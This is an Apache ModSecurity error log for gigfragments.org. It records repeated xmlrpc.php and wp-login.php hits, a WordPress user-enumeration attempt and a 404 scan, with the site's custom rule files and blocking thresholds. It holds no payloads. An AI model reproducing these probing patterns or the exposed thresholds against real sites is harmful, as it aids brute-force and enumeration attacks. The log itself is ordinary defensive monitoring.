[Sun Dec 28 11:36:57.579125 2025] [:error] [pid 29437:tid 29474] [client 198.244.177.113:36666] [client 198.244.177.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.244.177.113, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVCl2RhDotAbVk6pZLdcBgAAAcg"]
[Sun Dec 28 12:23:05.949665 2025] [:error] [pid 29388:tid 29405] [client 154.53.132.214:46468] [client 154.53.132.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.53.132.214, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVCwqdoLv2L2zI_SpdWQ8gAAAUk"]
[Sun Dec 28 12:23:10.676654 2025] [:error] [pid 29437:tid 29467] [client 154.53.132.214:46584] [client 154.53.132.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.53.132.214, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVCwrhhDotAbVk6pZLdlGgAAAcE"]
[Sun Dec 28 12:23:13.565682 2025] [:error] [pid 29437:tid 29468] [client 154.53.132.214:46634] [client 154.53.132.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.53.132.214, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVCwsRhDotAbVk6pZLdlHgAAAcI"]
[Sun Dec 28 12:23:16.827602 2025] [:error] [pid 29388:tid 29402] [client 154.53.132.214:46678] [client 154.53.132.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.53.132.214, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVCwtNoLv2L2zI_SpdWQ-AAAAUY"]
[Sun Dec 28 12:23:19.751545 2025] [:error] [pid 43789:tid 43805] [client 154.53.132.214:46716] [client 154.53.132.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.53.132.214, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVCwtwa-tUppni4CcCbsrQAAAQ4"]
[Sun Dec 28 12:23:22.972605 2025] [:error] [pid 42293:tid 42345] [client 154.53.132.214:46762] [client 154.53.132.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.53.132.214, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVCwusvc9B-5cwN385J8TQAAAFY"]
[Sun Dec 28 12:23:22.972757 2025] [:error] [pid 42293:tid 42345] [client 154.53.132.214:46762] [client 154.53.132.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 154.53.132.214, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVCwusvc9B-5cwN385J8TQAAAFY"]
[Sun Dec 28 12:24:11.523052 2025] [:error] [pid 29437:tid 29476] [client 45.133.117.105:52768] [client 45.133.117.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.133.117.105, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVCw6xhDotAbVk6pZLdlPQAAAco"]
[Sun Dec 28 12:25:18.637159 2025] [:error] [pid 29437:tid 29476] [client 185.175.198.237:10684] [client 185.175.198.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.175.198.237, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVCxLhhDotAbVk6pZLdliAAAAco"]
[Sun Dec 28 12:25:21.580832 2025] [:error] [pid 42292:tid 42303] [client 185.175.198.237:10686] [client 185.175.198.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.175.198.237, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVCxMZyOrM_vaFx1osYDQgAAAAc"]
[Sun Dec 28 12:25:24.126511 2025] [:error] [pid 42292:tid 42313] [client 185.175.198.237:10692] [client 185.175.198.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.175.198.237, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVCxNJyOrM_vaFx1osYDRgAAABE"]
[Sun Dec 28 12:25:27.297171 2025] [:error] [pid 42378:tid 42383] [client 185.175.198.237:3514] [client 185.175.198.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.175.198.237, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVCxNzgtcN-KHAjWrX_TXwAAAMM"]
[Sun Dec 28 12:25:29.819336 2025] [:error] [pid 42292:tid 42311] [client 185.175.198.237:3516] [client 185.175.198.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.175.198.237, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVCxOZyOrM_vaFx1osYDSQAAAA8"]
[Sun Dec 28 12:25:32.357510 2025] [:error] [pid 29437:tid 29484] [client 185.175.198.237:3526] [client 185.175.198.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.175.198.237, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVCxPBhDotAbVk6pZLdloAAAAdI"]
[Sun Dec 28 12:25:32.357714 2025] [:error] [pid 29437:tid 29484] [client 185.175.198.237:3526] [client 185.175.198.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 185.175.198.237, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVCxPBhDotAbVk6pZLdloAAAAdI"]
[Sun Dec 28 12:25:33.859104 2025] [:error] [pid 29437:tid 29486] [client 185.175.198.237:3542] [client 185.175.198.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.175.198.237, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVCxPRhDotAbVk6pZLdlowAAAdQ"]
[Sun Dec 28 12:25:33.859268 2025] [:error] [pid 29437:tid 29486] [client 185.175.198.237:3542] [client 185.175.198.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 185.175.198.237, counter = 7"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVCxPRhDotAbVk6pZLdlowAAAdQ"]
[Sun Dec 28 12:25:34.829509 2025] [:error] [pid 29437:tid 29468] [client 198.12.246.218:43836] [client 198.12.246.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.12.246.218, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVCxPhhDotAbVk6pZLdlpQAAAcI"]
[Sun Dec 28 12:25:36.760261 2025] [:error] [pid 29436:tid 29457] [client 198.12.246.218:43840] [client 198.12.246.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.12.246.218, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVCxQLchzOOtNL9VPNJ82QAAAZI"]
[Sun Dec 28 12:25:38.623604 2025] [:error] [pid 42294:tid 42364] [client 198.12.246.218:43856] [client 198.12.246.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.12.246.218, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVCxQtTE5kYcYCOzl9F35gAAAI4"]
[Sun Dec 28 12:25:40.464604 2025] [:error] [pid 29388:tid 29406] [client 198.12.246.218:48450] [client 198.12.246.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.12.246.218, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVCxRNoLv2L2zI_SpdWRVQAAAUo"]
[Sun Dec 28 12:25:42.343005 2025] [:error] [pid 42292:tid 42309] [client 198.12.246.218:48462] [client 198.12.246.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.12.246.218, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVCxRpyOrM_vaFx1osYDUgAAAA0"]
[Sun Dec 28 12:25:45.541466 2025] [:error] [pid 42293:tid 42324] [client 198.12.246.218:48466] [client 198.12.246.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.12.246.218, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVCxScvc9B-5cwN385J89wAAAEE"]
[Sun Dec 28 12:25:45.541634 2025] [:error] [pid 42293:tid 42324] [client 198.12.246.218:48466] [client 198.12.246.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 198.12.246.218, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVCxScvc9B-5cwN385J89wAAAEE"]
[Sun Dec 28 12:25:46.368403 2025] [:error] [pid 29436:tid 29453] [client 198.12.246.218:48474] [client 198.12.246.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.12.246.218, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVCxSrchzOOtNL9VPNJ84AAAAY4"]
[Sun Dec 28 12:25:46.368591 2025] [:error] [pid 29436:tid 29453] [client 198.12.246.218:48474] [client 198.12.246.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 198.12.246.218, counter = 7"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVCxSrchzOOtNL9VPNJ84AAAAY4"]
[Sun Dec 28 12:25:47.204375 2025] [:error] [pid 42294:tid 42370] [client 198.12.246.218:48480] [client 198.12.246.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.12.246.218, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVCxS9TE5kYcYCOzl9F36QAAAJQ"]
[Sun Dec 28 12:25:47.204544 2025] [:error] [pid 42294:tid 42370] [client 198.12.246.218:48480] [client 198.12.246.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 198.12.246.218, counter = 8"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVCxS9TE5kYcYCOzl9F36QAAAJQ"]
[Sun Dec 28 12:25:48.089429 2025] [:error] [pid 42293:tid 42347] [client 198.12.246.218:48496] [client 198.12.246.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.12.246.218, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVCxTMvc9B-5cwN385J8-gAAAFg"]
[Sun Dec 28 12:25:48.089567 2025] [:error] [pid 42293:tid 42347] [client 198.12.246.218:48496] [client 198.12.246.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 198.12.246.218, counter = 9"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVCxTMvc9B-5cwN385J8-gAAAFg"]
[Sun Dec 28 12:41:09.635193 2025] [:error] [pid 29437:tid 29470] [client 159.223.31.221:62640] [client 159.223.31.221] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.223.31.221, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aVC05RhDotAbVk6pZLdohgAAAcQ"]
[Sun Dec 28 12:41:11.957628 2025] [:error] [pid 42293:tid 42345] [client 159.223.31.221:51301] [client 159.223.31.221] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.223.31.221, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aVC058vc9B-5cwN385KAmgAAAFY"]
[Sun Dec 28 12:55:37.388638 2025] [:error] [pid 42293:tid 42347] [client 159.223.31.221:51693] [client 159.223.31.221] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.223.31.221, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aVC4Scvc9B-5cwN385KEngAAAFg"]
[Sun Dec 28 12:58:54.014790 2025] [:error] [pid 29437:tid 29488] [client 159.223.31.221:55751] [client 159.223.31.221] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.223.31.221, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aVC5DhhDotAbVk6pZLdsKwAAAdY"]
[Sun Dec 28 13:01:36.936284 2025] [:error] [pid 42294:tid 42359] [client 159.223.31.221:63786] [client 159.223.31.221] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.223.31.221, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aVC5sNTE5kYcYCOzl9F8uwAAAIk"]
[Sun Dec 28 13:56:06.329855 2025] [:error] [pid 42293:tid 42330] [client 185.243.11.191:60568] [client 185.243.11.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.243.11.191, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVDGdsvc9B-5cwN385KPRwAAAEc"]
[Sun Dec 28 14:25:14.776827 2025] [:error] [pid 42292:tid 42297] [client 125.212.243.142:46212] [client 125.212.243.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 125.212.243.142, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVDNSpyOrM_vaFx1osYOFAAAAAE"]
[Sun Dec 28 14:38:16.989319 2025] [:error] [pid 42378:tid 42382] [client 96.46.48.39:51396] [client 96.46.48.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 96.46.48.39, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVDQWDgtcN-KHAjWrX_hLQAAAMI"]
[Sun Dec 28 14:44:58.657324 2025] [:error] [pid 42378:tid 42396] [client 162.241.252.188:21208] [client 162.241.252.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.241.252.188, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVDR6jgtcN-KHAjWrX_hiAAAANA"]
[Sun Dec 28 16:03:17.823125 2025] [:error] [pid 29388:tid 29413] [client 159.89.181.56:63138] [client 159.89.181.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/"] [unique_id "aVDkRdoLv2L2zI_SpdWtKQAAAVE"], referer: binance.com
[Sun Dec 28 16:04:31.184977 2025] [:error] [pid 42294:tid 42373] [client 34.138.39.141:59907] [client 34.138.39.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.138.39.141, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVDkj9TE5kYcYCOzl9GQrAAAAJc"]
[Sun Dec 28 16:04:34.649045 2025] [:error] [pid 42294:tid 42363] [client 34.138.39.141:59907] [client 34.138.39.141] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aVDkktTE5kYcYCOzl9GQrwAAAI0"]
[Sun Dec 28 16:04:36.303052 2025] [:error] [pid 42294:tid 42352] [client 34.138.39.141:59907] [client 34.138.39.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.138.39.141, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVDklNTE5kYcYCOzl9GQsgAAAII"]
[Sun Dec 28 16:04:38.579929 2025] [:error] [pid 42378:tid 42392] [client 34.138.39.141:55236] [client 34.138.39.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.138.39.141, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVDkljgtcN-KHAjWrX_tdgAAAMw"]
[Sun Dec 28 16:04:40.428674 2025] [:error] [pid 42294:tid 42356] [client 34.138.39.141:65194] [client 34.138.39.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.138.39.141, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVDkmNTE5kYcYCOzl9GQtAAAAIY"]
[Sun Dec 28 16:04:42.562602 2025] [:error] [pid 29436:tid 29455] [client 34.138.39.141:60404] [client 34.138.39.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.138.39.141, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVDkmrchzOOtNL9VPNKgCQAAAZA"]
[Sun Dec 28 16:04:44.544998 2025] [:error] [pid 42292:tid 42320] [client 34.138.39.141:55404] [client 34.138.39.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.138.39.141, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVDknJyOrM_vaFx1osYcrQAAABg"]
[Sun Dec 28 16:04:44.545135 2025] [:error] [pid 42292:tid 42320] [client 34.138.39.141:55404] [client 34.138.39.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.138.39.141, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVDknJyOrM_vaFx1osYcrQAAABg"]
[Sun Dec 28 16:14:57.665913 2025] [:error] [pid 42292:tid 42300] [client 178.33.40.189:55440] [client 178.33.40.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.33.40.189, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVDnAZyOrM_vaFx1osYd2gAAAAQ"]
[Sun Dec 28 16:23:44.663032 2025] [:error] [pid 29437:tid 29480] [client 104.28.222.47:57647] [client 104.28.222.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.222.47, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVDpEBhDotAbVk6pZLeNsAAAAc4"]
[Sun Dec 28 16:23:46.626136 2025] [:error] [pid 42292:tid 42306] [client 104.28.222.47:48920] [client 104.28.222.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.222.47, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVDpEpyOrM_vaFx1osYetwAAAAo"]
[Sun Dec 28 16:23:48.209472 2025] [:error] [pid 43789:tid 43814] [client 104.28.222.47:48921] [client 104.28.222.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.222.47, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVDpFAa-tUppni4CcCYG9AAAARc"]
[Sun Dec 28 16:23:49.832058 2025] [:error] [pid 42378:tid 42390] [client 104.28.222.47:39556] [client 104.28.222.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.222.47, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVDpFTgtcN-KHAjWrX_vOwAAAMo"]
[Sun Dec 28 16:23:51.402684 2025] [:error] [pid 29388:tid 29412] [client 104.28.222.47:39564] [client 104.28.222.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.222.47, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVDpF9oLv2L2zI_SpdWvRAAAAVA"]
[Sun Dec 28 16:23:52.959759 2025] [:error] [pid 29436:tid 29460] [client 104.28.222.47:28648] [client 104.28.222.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.222.47, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVDpGLchzOOtNL9VPNKjOgAAAZU"]
[Sun Dec 28 16:23:52.959940 2025] [:error] [pid 29436:tid 29460] [client 104.28.222.47:28648] [client 104.28.222.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 104.28.222.47, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVDpGLchzOOtNL9VPNKjOgAAAZU"]
